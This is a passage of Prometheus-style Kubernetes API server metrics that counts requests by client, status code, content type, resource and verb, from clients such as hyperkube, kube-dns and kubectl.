clusterroles\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterroles\ ,verb=\ put\ } 9\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ get\ } 6854\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ put\ } 6823\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ watch\ } 3\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ limitranges\ ,verb=\ list\ } 7\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ get\ } 9161\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ get\ } 4\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ poddisruptionbudgets\ ,verb=\ list\ } 99\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ podsecuritypolicies\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ resourcequotas\ ,verb=\ list\ } 10\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ secrets\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ serviceaccounts\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ get\ } 6854\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 9\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ watch\ } 770\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ storageclasses\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ thirdpartyresources\ ,verb=\ list\ } 6879\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ endpoints\ ,verb=\ watch\ } 616\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ limitranges\ ,verb=\ watch\ } 154\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ namespaces\ ,verb=\ watch\ } 155\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ podsecuritypolicies\ ,verb=\ watch\ } 151\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ resourcequotas\ ,verb=\ watch\ } 153\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ secrets\ ,verb=\ watch\ } 151\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ serviceaccounts\ ,verb=\ watch\ } 154\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watch\ } 1038\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ storageclasses\ ,verb=\ watch\ } 149\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterrolebindings\ ,verb=\ post\ } 24\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterroles\ ,verb=\ post\ } 30\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ post\ } 4\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ post\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ rolebindings\ ,verb=\ post\ } 3\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ roles\ ,verb=\ post\ } 4\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterrolebindings\ ,verb=\ get\ } 24\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterroles\ ,verb=\ get\ } 30\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ rolebindings\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ roles\ ,verb=\ get\ } 4\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ get\ } 42344\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumeclaims\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ persistentvolumes\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ replicasets\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ replicationcontrollers\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ statefulsets\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ nodes\ ,verb=\ watch\ } 155\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ persistentvolumeclaims\ ,verb=\ watch\ } 150\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ persistentvolumes\ ,verb=\ watch\ } 152\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ pods\ ,verb=\ watch\ } 311\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ replicasets\ ,verb=\ watch\ } 153\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ replicationcontrollers\ ,verb=\ watch\ } 150\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watch\ } 154\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77/leader-election\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ statefulsets\ ,verb=\ watch\ } 153\r apiserver_request_count{client=\ kube-dns/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ endpoints\ ,verb=\ watch\ } 2\r apiserver_request_count{client=\ kube-dns/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ watch\ } 2\r apiserver_request_count{client=\ kube-dns/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ endpoints\ ,verb=\ watchlist\ } 298\r apiserver_request_count{client=\ kube-dns/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watchlist\ } 300\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ configmaps\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ configmaps\ ,verb=\ watchlist\ } 4\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ endpoints\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ endpoints\ ,verb=\ watchlist\ } 3\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ watchlist\ } 3\r apiserver_request_count{client=\ kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ configmaps\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kube-ingress-aws-controller\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ list\ } 1316\r apiserver_request_count{client=\ kube2iam/v1.4.6+$format:%h$  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 21\r apiserver_request_count{client=\ kube2iam/v1.4.6+$format:%h$  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watchlist\ } 483\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ cronjobs\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ list\ } 15\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 4\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 30\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ kubectl-v1.6.0/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ text/plain\ ,resource=\ pods\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v0.0.0  darwin/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 61\r apiserver_request_count{client=\ kubectl/v1.5.1  darwin/amd64  kubernetes/82450d0\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ kubectl/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ daemonsets\ ,verb=\ get\ } 36\r apiserver_request_count{client=\ kubectl/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ kubectl/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 3\r apiserver_request_count{client=\ kubectl/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ configmaps\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ configmaps\ ,verb=\ patch\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ cronjobs\ ,verb=\ delete\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ cronjobs\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ daemonsets\ ,verb=\ get\ } 64\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ daemonsets\ ,verb=\ patch\ } 4\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ get\ } 12\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ list\ } 4\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ patch\ } 12\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ events\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ jobs\ ,verb=\ get\ } 11\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ limitranges\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ limitranges\ ,verb=\ patch\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watch\ } 7\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ get\ } 10\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ list\ } 79\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ put\ } 5\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 501\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ platformcredentialssets\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ platformcredentialssets\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 594\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ list\ } 80\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 701\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ podsecuritypolicies\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ podsecuritypolicies\ ,verb=\ patch\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ replicasets\ ,verb=\ get\ } 104\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ secrets\ ,verb=\ patch\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ patch\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ statefulsets\ ,verb=\ get\ } 18\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ storageclasses\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ storageclasses\ ,verb=\ patch\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ thirdpartyresources\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ thirdpartyresources\ ,verb=\ patch\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ text/plain\ ,resource=\ pods\ ,verb=\ get\ } 12\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ cronjobs\ ,verb=\ post\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ post\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ post\ } 85\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 400\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ cronjobs\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ deployments\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 55\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ daemonsets\ ,verb=\ get\ } 12\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ jobs\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ get\ } 2\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ put\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 215\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ replicasets\ ,verb=\ get\ } 26\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ post\ } 14\r apiserver_request_count{client=\ kubectl/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 14\r apiserver_request_count{client=\ kubelet/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ 